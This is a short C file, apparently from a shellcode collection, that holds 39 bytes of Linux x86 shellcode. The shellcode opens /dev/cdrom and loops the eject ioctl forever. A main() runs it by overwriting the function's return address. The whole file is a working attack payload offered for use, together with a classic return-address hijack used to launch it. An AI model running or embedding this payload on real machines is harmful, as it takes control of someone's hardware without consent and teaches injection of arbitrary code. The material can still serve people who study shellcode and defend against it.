/* * (linux/x86) 24/7 open cd-rom loop (follows "/dev/cdrom" symlink) - 39 bytes * - izik <[email protected]> */ char shellcode[] = "\x6a\x05" // push $0x5 "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\xb5\x08" // mov $0x8,%ch "\x68\x64\x72\x6f\x6d" // push $0x6d6f7264 "\x68\x65\x76\x2f\x63" // push $0x632f7665 "\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f "\x89\xe3" // mov %esp,%ebx "\xcd\x80" // int $0x80 "\x89\xc3" // mov %eax,%ebx "\x66\xb9\x09\x53" // mov $0x5309,%cx // // <_openit>: // "\xb0\x36" // mov $0x36,%al "\xcd\x80" // int $0x80 "\xeb\xfa"; // jmp <_openit> int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }